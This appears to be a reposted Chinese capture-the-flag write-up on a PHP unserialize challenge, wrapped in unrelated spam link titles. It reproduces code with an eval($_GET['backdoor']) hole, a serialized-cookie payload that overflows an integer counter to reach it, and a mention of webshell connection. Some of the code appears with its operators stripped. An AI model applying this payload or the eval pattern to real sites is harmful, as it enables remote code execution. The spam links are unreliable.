当前位置: 首页 > news >正文

小企业做网站怎么做程序员网站

小企业做网站怎么做,程序员网站,商城网站建设第一章,外贸公司怎么注册进入靶场 没提示#xff0c;去看源代码。 user.php ?php // 定义一个名为 User 的类#xff0c;该类可用于表示用户相关信息或执行与用户有关的操作 class User{// 声明一个公共属性 $count#xff0c;可在类的内部和外部直接访问// 这个属性可能用于记录与用户相关… 进入靶场 没提示去看源代码。 user.php ?php // 定义一个名为 User 的类该类可用于表示用户相关信息或执行与用户有关的操作 class User{// 声明一个公共属性 $count可在类的内部和外部直接访问// 这个属性可能用于记录与用户相关的某种数量比如用户的操作次数、用户拥有的物品数量等public $count; } ? add_api.php  ?php // 包含 user.php 文件该文件中可能定义了 User 类或其他相关代码 // 包含文件后当前脚本就可以使用该文件中定义的类、函数、变量等 include user.php;// 从 $_COOKIE 超全局数组中获取名为 data 的 cookie 值并尝试对其进行反序列化操作 // 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象 // 如果反序列化成功将结果赋值给 $user 变量并进入 if 语句块 if($user unserialize($_COOKIE[data])){// 对 $user 对象的 count 属性进行自增操作然后将 $count 数组的对应索引位置赋值为 1// 例如如果 $user-count 初始值为 1自增后为 2那么 $count[2] 1$count[$user-count] 1;// 这里存在语法错误正确的应该是 if ($count[] 1) 这种写法不符合正常逻辑// 可能本意是检查某个条件但这样的赋值操作结果总是为 1在 PHP 中赋值表达式的值为所赋的值条件恒为真// 暂且按代码逻辑理解若这个条件成立if($count[] 1){// 将 $user 对象的 count 属性再加 1$user-count 1;// 将更新后的 $user 对象进行序列化操作将其转换为字符串形式// 然后使用 setcookie 函数将序列化后的字符串存储到名为 data 的 cookie 中setcookie(data, serialize($user));} else {// 如果上述条件不成立实际上由于赋值操作这里永远不会执行// 使用 eval 函数执行从 GET 请求中获取的名为 backdoor 的参数值// 这是非常危险的操作因为用户可以通过 GET 请求传入恶意代码从而导致任意代码执行漏洞eval($_GET[backdoor]);} } else {// 如果反序列化失败说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在// 创建一个新的 User 类的实例$user new User;// 将新创建的 $user 对象的 count 属性初始化为 1$user-count 1;// 将新创建的 $user 对象进行序列化操作然后存储到名为 data 的 cookie 中setcookie(data, serialize($user)); } ? 如下代码  给与了我们进行任意代码执行漏洞的条件 即设置count为9223372036854775806 ?phpclass User{public $count9223372036854775806;}echo serialize(new User); ?O:4:User:1:{s:5:count;i:9223372036854775806;}  忘记进行url编码了  ?phpclass User{public $count9223372036854775806; } echo urlencode(serialize(new User())); ? cookie 添加为以下内容 dataO%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D  大概这样改cookie  到这块就需要蚁剑连接了我的蚁剑有问题最近还没好 先帝创业未半而开局崩殂
http://www.zqtcl.cn/news/317584/

相关文章:

  • 门户网站建设项目书页面设计一般用什么软件
  • 安徽城乡建设 厅网站电子商务网站建设需要哪些步骤
  • 网站建设应该懂什么知识青岛模板网站建设
  • 免费cms建站系统有哪些网站设计项目总结
  • 做网站湖州网站后台管理系统如何使用
  • 网站建设报价单-中英文版长春省妇幼网站做四维
  • 注册网站免费网站上传小马后怎么做
  • 我省推行制度推动山西品牌建设整站优化网站
  • 临海手机网站设计网站设计 深圳
  • 网站推广做哪个比较好百度怎么优化排名
  • 做jsp网站时怎么预览wordpress安装不上
  • 网站建设深圳官网怎么制作网站镜像
  • 弹幕网站开发难么招生网站建设的意义
  • 网站空间多大合适软件开发培训机构网课
  • 13个实用平面设计网站网络推广一个月的收入
  • 淮安企业网站制作校园网网络规划与设计方案
  • html完整网站开发自媒体平台账号注册
  • 厦门seo网站网站空间 群集
  • 青岛网站推广方案营销自动化平台
  • 管理信息系统与网站建设有什么区别python版wordpress
  • 济南市建设行政主管部门网站公众号登录入口官网
  • 深圳苏州企业网站建设服务企业做网站需要什么条件
  • 电脑什么网站可以做长图攻略公众号 微网站开发
  • 网站核检单怎么用小皮创建网站
  • 企业网站托管平台有哪些烟台高新区建设局网站
  • 石家庄网站做网站和县网页定制
  • 网站个人备案和企业备案潍坊公司注册网站
  • 建个网站的流程互联网裁员
  • 设置网站模板汉口网站建设公司
  • 网站对一个关键词做排名怎么做网站建设 图纸网